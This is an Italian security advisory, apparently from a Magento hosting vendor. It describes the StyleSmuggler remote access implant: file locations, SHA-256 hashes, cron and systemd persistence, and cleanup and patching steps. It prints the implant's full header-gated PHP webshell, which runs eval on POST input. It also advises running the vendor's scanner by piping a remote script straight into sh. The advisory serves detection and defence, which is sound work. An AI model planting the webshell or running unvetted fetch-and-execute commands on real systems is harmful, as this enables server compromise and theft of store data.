StyleSmuggler: l’impianto Magento progettato per superare i vostri controlli di sicurezza

StyleSmuggler: l’impianto Magento progettato per superare i vostri controlli di sicurezza
Uno strumento di accesso remoto in Rust che si diffonde tramite una vulnerabilità RCE non autenticata nel framework Magento. Si nasconde nelle directory di cache, falsifica il proprio nome nell’elenco dei processi, conserva copie di riserva in /tmp e installa una backdoor che restituisce 404 a tutti tranne che all’attaccante. Ecco come controllare il vostro negozio.

StyleSmuggler è uno strumento di accesso remoto scritto in Rust che sta comparendo sui server Magento sfruttando una vulnerabilità di esecuzione di codice remoto non autenticata nel framework Magento. Vale la pena conoscerlo per un motivo preciso: è costruito per superare i controlli che la maggior parte dei titolari di negozi esegue davvero. Si nasconde nelle directory di cache, si camuffa nell’elenco dei processi, conserva copie di riserva di sé stesso e installa una backdoor PHP che restituisce un vero 404 a chiunque tranne all’attaccante.

Se gestite un negozio Magento, in questo articolo trovate i comandi per controllarlo, l’ordine da seguire per la pulizia se trovate qualcosa e la patch che chiude la porta d’ingresso.

Poco tempo? Collegatevi al negozio via SSH ed eseguite il nostro scanner gratuito, senza registrazione e senza account:
curl https://shopwhizzy.com/gowiz/external/agent | sh
Controlla file e database alla ricerca di webshell, skimmer e firme di malware, e confronta la vostra versione di Magento con i bollettini di Adobe. Poi leggete la sezione sul livello host qui sotto, perché c’è una parte di questo problema che nessuna scansione a livello di negozio può vedere.

Come appare sul disco

Due binari ELF privati dei simboli, entrambi nascosti in directory che nessuno controlla mai perché dovrebbero contenere solo file usa e getta:

  • A livello dell’account del negozio: un binario Rust static-PIE in ~/.cache/chrony/chronyd, rilanciato da una voce cron che viene eseguita due volte all’ora.
  • A livello root: un binario più piccolo in /root/.cache/fontconfig/fc-cache, con una propria voce cron e una unit systemd in /etc/systemd/system/fontconfig-cache.service il cui ExecStart viene eseguito come root.

I nomi sono scelti per passare inosservati. chronyd è il demone dell’ora, fc-cache è il generatore della cache dei font: entrambi sono esattamente il genere di cose su cui si sorvola.

Se la proprietà dei file è root:<your-shop-user>, siete di fronte a un’escalation di privilegi e non a una semplice compromissione dell’applicazione web, e la pulizia riguarda l’intero server, non solo il negozio.

Hash malevoli noti

Sono stati osservati quattro binari distinti. Fate il confronto sullo SHA-256, mai sul nome del file: i nomi sono volutamente plausibili e le copie di riserva usano nomi casuali:

1a3374ffac5b0a62467612f264c49792d206304d4514409c982325c91231375d  2281147  static-PIE  ~/.cache/chrony/chronyd
500cd1231f4286225c9db434f126b7b6e2a0496f495586c02a5d123e49dc7a51   312048  dynamic     /root/.cache/fontconfig/fc-cache
4352cabaa451e5a894535fbcc4d46628701303322a13745cb5479d7d0534ae8e  2270031  static-PIE  ~/.cache/fontconfig/fc-cache
a5b9e9082ecd446ad89b94748b13175e972efc6ae53c024ffdc3ab668f20ae75  2128224  dynamic     /tmp/.kw_*

Quattro motivi per cui un controllo rapido non lo trova

Sono le caratteristiche che rendono StyleSmuggler degno di un controllo mirato anziché di un’occhiata veloce.

1. Mente sul proprio nome nell’elenco dei processi

Un impianto in esecuzione compare in ps semplicemente come chronyd. Non il percorso, non la directory .cache: solo un plausibile nome di demone. Così la ricerca più ovvia non trova nulla:

pgrep -f '\.cache/chrony/chronyd'   # matches only the short-lived cron wrapper, if anything

Ciò che a volte intercetta è il wrapper /bin/sh -c <path> che cron avvia per un secondo o due. Terminarli non serve a nulla: il demone continua a girare e riscrive il vostro crontab nel giro di circa due minuti.

Il controllo che funziona ignora del tutto i nomi e chiede al kernel che cosa sia realmente ciascun processo:

for p in /proc/[0-9]*; do
  exe=$(readlink "$p/exe" 2>/dev/null) || continue
  case "$exe" in
    *.cache/*|*/tmp/*) echo "$p -> $exe";;
  esac
done

2. Conserva copie di riserva eseguibili in /tmp

L’impianto deposita copie eseguibili di sé stesso in /tmp: permessi 755, di proprietà dell’utente del negozio, con nomi casuali di otto caratteri ed estensioni senza senso (/tmp/g7gylnwk.ha4), più varianti nascoste /tmp/.kw_<digits>.

Questo conta per la pulizia. Neutralizzare i due percorsi .cache noti e fermarsi lì lascia una copia funzionante in una directory scrivibile da chiunque. Fate la scansione degli hash anche nelle directory temporanee.

3. La unit systemd è impostata come immutabile

Se esiste un componente a livello root, il suo file di servizio ha l’attributo immutabile, e la cancellazione fallisce in un modo che sembra una protezione di sistema più che l’opera di un attaccante:

rm /etc/systemd/system/fontconfig-cache.service
rm: cannot remove '...': Operation not permitted

lsattr /etc/systemd/system/fontconfig-cache.service
----i---------e------- /etc/systemd/system/fontconfig-cache.service

Prima chattr -i, poi la rimozione. Uno script di pulizia che non controlla lsattr segnalerà come riuscita l’eliminazione di un file che è ancora lì.

4. La webshell risponde 404 a tutti tranne all’attaccante

Il rientro avviene tramite minuscole webshell PHP, da 142 a 144 byte, depositate sotto pub/media e var, in percorsi che sembrano normali file temporanei di Magento:

pub/media/downloadable/tmp/in/uy/thumb_l2rdsak8.php
var/import/images/eu/li/product_gqami5d3.php

L’intero contenuto è un controllo sull’header:

<?php if(($_SERVER['HTTP_X_CATALOG_VER']??'')!=='<md5>'){http_response_code(404);exit;} @eval($_POST['load']??''); ?>

Due conseguenze. Primo, il nome dell’header e la chiave cambiano a ogni deposito (sono stati osservati sia X-Catalog-Ver sia X-Thumb-Key), quindi cercate la coppia strutturale @eval($_POST[ più http_response_code(404), mai il nome dell’header. Secondo, poiché ogni richiesta non autenticata riceve un vero 404, nessuno scanner che lavora via HTTP dall’esterno le vedrà mai. Si possono trovare solo sul disco.

Un’esclusione che vi servirà: escludete generated/code/ quando fate un grep sui contenuti di un albero Magento. L’output della dependency injection di Magento inonderebbe i risultati, e nulla di tutto ciò è una webshell.

Controllate il vostro negozio

La via più rapida è lo scanner, che si occupa per voi di file e database e non richiede alcuna installazione:

curl https://shopwhizzy.com/gowiz/external/agent | sh

Funziona su qualsiasi installazione Magento a cui avete accesso SSH (la nostra, il vostro server, il server di un cliente con cPanel o Plesk) e si conclude con il link a un report privato. Controlla i file PHP e JavaScript alla ricerca di firme di malware, webshell e pattern di skimmer, verifica blocchi CMS, configurazione e account amministratore, e confronta la vostra versione di Magento con i bollettini di sicurezza di Adobe esaminando il codice anziché fidarsi della stringa di versione.

Se preferite farlo a mano, questi quattro comandi sono di sola lettura e non modificano nulla:

# 1. Implant binaries in the usual hiding places
find ~/.cache /tmp /var/tmp /dev/shm -type f -size +100k 2>/dev/null \
  -exec sha256sum {} + | grep -Ff known_bad_hashes.txt

# 2. Processes whose real executable sits in a cache or temp directory
for p in /proc/[0-9]*; do
  e=$(readlink "$p/exe" 2>/dev/null)
  case "$e" in *.cache/*|/tmp/*) echo "$p -> $e";; esac
done

# 3. Cron entries pointing into a cache directory
crontab -l | grep -E '\.cache|chronyd|fc-cache'

# 4. Header-gated webshells (match the structure, not the header name)
grep -rlE 'http_response_code\(404\)' pub/media var --include='*.php' 2>/dev/null \
  | xargs -r grep -l '@eval($_POST\[' 2>/dev/null

Prima di eseguire il primo, inserite i quattro hash indicati sopra in known_bad_hashes.txt, uno per riga.

La parte che la vostra scansione non può vedere

È la cosa più importante di questo articolo, e vale indipendentemente da chi vi fornisce l’hosting o da quale scanner usate.

Gli scanner di sicurezza sugli hosting condivisi e gestiti sono limitati al vostro account. Leggono il vostro crontab, la vostra home directory, i vostri processi. È la progettazione corretta: non dovreste poter elencare i file di un altro cliente, e lui non dovrebbe poter elencare i vostri.

Significa però anche che un impianto a livello root è strutturalmente invisibile a qualsiasi report che possiate eseguire da soli. Non sfugge per colpa di una regola debole: è invisibile per progettazione, a ogni scansione, ogni notte, per sempre. E con StyleSmuggler il componente root arriva spesso per primo, seguito da quello a livello di negozio.

Quindi un report pulito a livello di negozio significa che il negozio è pulito. Non è, né può essere, una garanzia sul server sottostante.

La domanda da porre al vostro hosting: “Che cosa sorveglia il livello host: il crontab di root, /etc/systemd/system, i binari di proprietà di root nelle directory temporanee e i processi appartenenti a root o ad altri clienti?” Se la risposta è soltanto lo scanner per account che potete avviare voi stessi, nessuno sta sorvegliando quel livello.

Sui server gestiti da ShopWhizzy questo aspetto è coperto separatamente rispetto al vostro report WhizzyScan, con controlli a livello host che guardano specificamente al di fuori di ogni account: percorsi indicatori sotto /root, binari di proprietà di root nelle directory temporanee, unit systemd il cui ExecStart punta dove non dovrebbe, segnalati insieme ai flag lsattr così che un file immutabile non possa resistere silenziosamente alla pulizia. Questi risultati arrivano al nostro team, perché non riguardano un singolo negozio.

Se trovate qualcosa

La sequenza è importante, perché un ordine sbagliato permette all’impianto di ripararsi mentre lavorate:

  1. chmod 000 su ogni copia dei binari, comprese quelle in /tmp. In questo modo i byte restano disponibili nel caso qualcuno debba analizzarli in seguito.
  2. Mettete in quarantena le webshell (spostatele fuori dalla document root; non limitatevi a svuotarle).
  3. Eliminate le voci cron. Se c’è una unit systemd, applicate chattr -i e rimuovetela.
  4. Terminate i processi tramite /proc/*/exe, non per nome.
  5. Ricontrollate dopo venti secondi.

Quest’ultimo passaggio non è facoltativo. Un demone sopravvissuto riscrive cron in circa due minuti, quindi un controllo eseguito subito dopo la pulizia vi darà ragione, che la pulizia abbia funzionato o meno.

Poi ruotate le credenziali. Se è stato coinvolto il livello root, considerate esposto tutto ciò che è raggiungibile da quel server: le credenziali del database in app/etc/env.php, ogni account amministratore di Magento, chiavi API e token di integrazione, e qualsiasi password o chiave memorizzata negli script sul server. Ruotare solo le due più ovvie e fermarsi è il modo in cui i negozi vengono reinfettati due settimane dopo.

Chiudete la porta: applicate la patch al vettore d’ingresso

La via d’accesso è una vulnerabilità di esecuzione di codice remoto non autenticata nel framework Magento, corretta dall’hotfix che Adobe distribuisce come VULN-39341. Esistono varianti per 2.4.4-p18, 2.4.5-p17, 2.4.6-p15, 2.4.7-p10, 2.4.8-p5 e 2.4.9 e, in pratica, si applicano senza problemi anche ben oltre la versione nominale.

Non richiede una ricompilazione della DI. La patch aggiunge un secondo argomento al costruttore di Magento\Framework\View\Element\BlockFactory, ma lo dichiara come ?ConfigInterface $x = null con un fallback a ObjectManager::getInstance(). È proprio quel valore predefinito nullable a renderla sicura da applicare su un’installazione compilata: normalmente una modifica alla firma di un costruttore manda giù il sito finché non si esegue di nuovo setup:di:compile.

Per le versioni inferiori alla 2.4.6 non esiste alcuna variante di questa patch. Se è il vostro caso, la soluzione è un aggiornamento di versione, non un hotfix, e va pianificato ora, non il prossimo trimestre.

Se patch rifiuta degli hunk in pub/errors/processor.php con “different line endings”, quel file contiene terminatori di riga misti CRLF e LF (una situazione comune per questo file) e --ignore-whitespace non aiuta. Dividete la patch, applicate tutto il resto e poi normalizzate quel solo file:

awk '/^diff --git a\/pub\/errors\/processor\.php/{f=1} !f' VULN-39341.patch > part1.patch
awk '/^diff --git a\/pub\/errors\/processor\.php/{f=1} f'  VULN-39341.patch > part2.patch
patch -p1 < part1.patch
sed -i 's/\r$//' pub/errors/processor.php
patch -p1 < part2.patch

E già che ci siete

Applicare la patch al framework chiude questa porta specifica. Gli endpoint di caricamento file che Magento espone per impostazione predefinita sono un’altra porta, e sono la via più sfruttata per entrare in un negozio altrimenti aggiornato. Abbiamo trattato entrambe le correzioni (il modulo di protezione PolyShell per i caricamenti delle opzioni personalizzate e la disattivazione dell’endpoint di caricamento degli indirizzi dei clienti) nel nostro articolo su APSB25-88. Se non le avete ancora applicate, fatelo nella stessa finestra di manutenzione.

Tre cose da ricordare

Un controllo mirato che non restituisce nulla non è un certificato di buona salute. Può significare due cose (nessun malware, oppure un controllo che guarda nel posto sbagliato) e senza una verifica di controllo non potete sapere quale. Esportate il crontab grezzo e verificate di vedere righe che sapete essere presenti. Verificate che il vostro find abbia davvero attraversato la directory che intendevate. Uno script che ha pub/media scritto nel codice, su un negozio la cui document root è pub/, non trova quella directory e segnala tutto pulito.

Confrontate contenuti e hash, mai i nomi. Nomi dei file, nomi dei processi e nomi degli header sono tutti controllati dall’attaccante, e tutti e tre cambiano da un deposito all’altro.

Sappiate chi sorveglia il livello host. La vostra scansione copre il vostro account. Chiedete al vostro provider cosa copre il resto, e considerate una risposta vaga come un no.

Eseguite la scansione gratuita su qualsiasi negozio Magento a cui avete accesso SSH: curl https://shopwhizzy.com/gowiz/external/agent | sh

Se emerge qualcosa di critico e desiderate aiuto per la pulizia, aprite un ticket e ce ne occuperemo.